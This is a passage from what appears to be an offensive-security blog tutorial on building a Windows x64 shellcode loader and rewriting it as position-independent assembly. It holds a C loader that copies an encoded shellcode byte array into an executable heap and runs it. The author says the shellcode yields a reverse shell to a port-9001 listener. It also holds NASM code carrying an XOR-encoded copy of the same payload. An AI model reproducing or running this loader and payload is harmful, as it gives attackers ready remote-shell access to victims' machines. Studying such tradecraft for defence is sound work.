class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span> <span class="p">};</span>


    <span class="n">SIZE_T</span> <span class="k">const</span> <span class="n">size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span> <span class="c1">//this is simple enough, it just determines the size of our shellcode in bytes</span>

    <span class="c1">// Create executable heap (RWX by default)</span>
    <span class="c1">// as the comment above states, this is RWX by default.  I'm okay with that for the purposes of this exercise</span>
    <span class="c1">// I was originally going to you memory map sections for this first blog post of our series, but heaps don't get the recognition they deserve</span>
    <span class="c1">// One drawback to using the heap is it does have a limit to how much data you can toss at it.  Be mindful of that.  Though I'll admit I've never encountered a situation where I had shellcode large enough to fill it.</span>
    <span class="n">HANDLE</span> <span class="n">hHeap</span> <span class="o">=</span> <span class="n">HeapCreate</span><span class="p">(</span><span class="n">HEAP_CREATE_ENABLE_EXECUTE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> 
    <span class="k">if</span> <span class="p">(</span><span class="n">hHeap</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"HeapCreate failed: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

   <span class="c1">// SIZE_T bufSize = shellcode size (506 bytes);</span>
    <span class="n">LPVOID</span> <span class="n">pBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">hHeap</span><span class="p">,</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">//zero out the heap in preparation for our shellcode</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pBuffer</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"HeapAlloc failed: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">HeapDestroy</span><span class="p">(</span><span class="n">hHeap</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">pBuffer</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">//move our shellcode into the newly allocated heap</span>

    <span class="c1">// 4. Execute!</span>
    <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">pBuffer</span><span class="p">)();</span> <span class="c1">//execute it!</span>

     <span class="c1">// in case anywhere was curious, the strange function above means:</span>

     <span class="c1">// void = doesn't return anything from the function call</span>
     <span class="c1">// (*) = pointer to a function.  * means we will be dereferencing</span>
     <span class="c1">// () = no arguments passed to the function pointer</span>
     <span class="c1">// pBuffer = cast it to the location of our shellcode</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Go ahead and compile that and then setup your listener for localhost, port 9001.  If you do all that you’ll be greeted with a nice reverse shell</p>

<p><img width="713" height="538" alt="image" src="https://github.com/user-attachments/assets/00dcc260-84b4-4dce-a91d-91d3dc63b8dd" /></p>

<p>Now, the fun begins!  We need to start converting this to assembly, and then furthermore convert it all the way down to machine code / shellcode.  That starts………..NOW!!! 😺</p>

<h2 id="converting-to-x64-assembly">Converting to x64 Assembly</h2>

<p>Go ahead and start debugging your code using Visual Studio.  Go to <code class="language-plaintext highlighter-rouge">Debug</code> in the main menu toolbar, and select step over or press <code class="language-plaintext highlighter-rouge">F10</code> on your keyboard for a nice shortcut.  Keep going until you arrive at the <code class="language-plaintext highlighter-rouge">HeapCreate</code> API.  Also, make sure your disassembly window is visible.  Here’s what mine looks like:</p>

<p><img width="774" height="163" alt="image" src="https://github.com/user-attachments/assets/5f4bd419-c8b7-4ee1-a7a5-80e532cb93f9" /></p>

<p>Notice how we are setting up the parameters for our HeapCreate API before we call it.  This goes in a specific order, always:</p>

<ul>
  <li>RCX</li>
  <li>RDX</li>
  <li>R8</li>
  <li>R9</li>
  <li>Uses the stack beyond the R9 register if the API requires more parameters passed to it.</li>
  <li>Call API</li>
</ul>

<p>So, what are we doing here exactly?  Well, <code class="language-plaintext highlighter-rouge">HeapCreate</code> looks like the following:</p>

<p><img width="428" height="196" alt="image" src="https://github.com/user-attachments/assets/4e753d15-f175-4f3d-af67-2d6db4049f70" /></p>

<p>Notice how in the Visual Studio disassembly view, we’re moving 0x40000 into ECX as the 1st parameter.  ECX is the x32/x86 REGISTER used exclusively for 32 bit values or 4 bytes (a DWORD).  That’s why Visual studio chose ECX instead of RCX.</p>

<p>For the 2nd parameter passed into the API, Visual Studio chose edx (instead of RDX) and sets it to 0 using XOR.  Same thing for the 3rd parameter, using r8d (instead of R8), where the <code class="language-plaintext highlighter-rouge">d</code> stands for DWORD.  Both of these parameters are SIZE_T type values, and Visual Studio chose these for efficiency purposes I’m guessing.</p>

<p>Finally we call the API: call qword ptr [__imp_HeapCreate (07FF6281220F0h)]</p>

<p>here’s what it looks like all together in nasm x64 syntax:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
</code></pre></div></div>

<p>Next, you’ll see in the disassembly window the following instruction: <code class="language-plaintext highlighter-rouge">mov qword ptr [hHeap],rax</code></p>

<p>We need to reproduce that in our own assembly code, but adjust it to make it conform to PIC requirements.  We don’t have any variables like we do in visual basic (can’t store our heapcreate handle in <code class="language-plaintext highlighter-rouge">hHeap</code>).  So, I’ll show you how to store our heapcreate HANDLE variable the PIC way 😸  I’m going to subtract our current stack pointer by 72 to be far enough away from our current stack pointer to safely store our return value from when we called <code class="language-plaintext highlighter-rouge">HeapCreate</code>.  This is to prevent this value from being easily overwritten by other API calls, etc.  Once we subtract 72 from our current stack pointer, I store the return value in this location via <code class="language-plaintext highlighter-rouge">mov [rsp], rax</code>.  Finally, I move back to our original stack pointer location using add rsp, 72.  That’s the equivalent method I learned for storing variables in a PIC friendly manner and it’s worked well for me over the years.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
</code></pre></div></div>

<p>With HeapCreate behind us, let’s keep going.  Now, we’re going to look at HeapAlloc.  Hit <code class="language-plaintext highlighter-rouge">F10</code> a few more times to reach the API and then look at your disassembly window.  Here’s mine:</p>

<p><img width="746" height="155" alt="image" src="https://github.com/user-attachments/assets/3c0e11d4-5294-4510-bcc9-621a6b39ad31" /></p>

<p>and here’s the documentation for this API:</p>

<p><img width="901" height="208" alt="image" src="https://github.com/user-attachments/assets/bcb8ef28-6a0a-4180-8e41-4aa0cf51f34f" /></p>

<p>You’ll notice we have some interesting values being stored in the R8 register and RCX register.  The R8 register is receiving the size of our shellcode in hex, while the RCX register is receiving the handle for when we called HeapCreate.  Remember when we subtracted 72 from our stack pointer and moved the RAX value into that location on the stack?  that’s the HeapCreate handle value!  Now, we’re adding that into RCX.</p>

<p>Here’s what that looks like in nasm x64 assembly.  Also, it’s worth mentioning that Visual Studio uses the MASM assembler syntax, whereas I show code in NASM.  In nasm, you don’t need the PTR keyword so you’ll see me omit that often when I reproduce the assembly code on the blog.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
</code></pre></div></div>

<p>Now, you’re probably asking yourself,”Where did he get the <code class="language-plaintext highlighter-rouge">encoded_shellcode_total</code> ?  I’ll show you!  That’s actually calculated at the very top of my assembly code.  Check it out:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib mem_heap_pic.obj -o mem_heap_pic.exe -lkernel32</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span 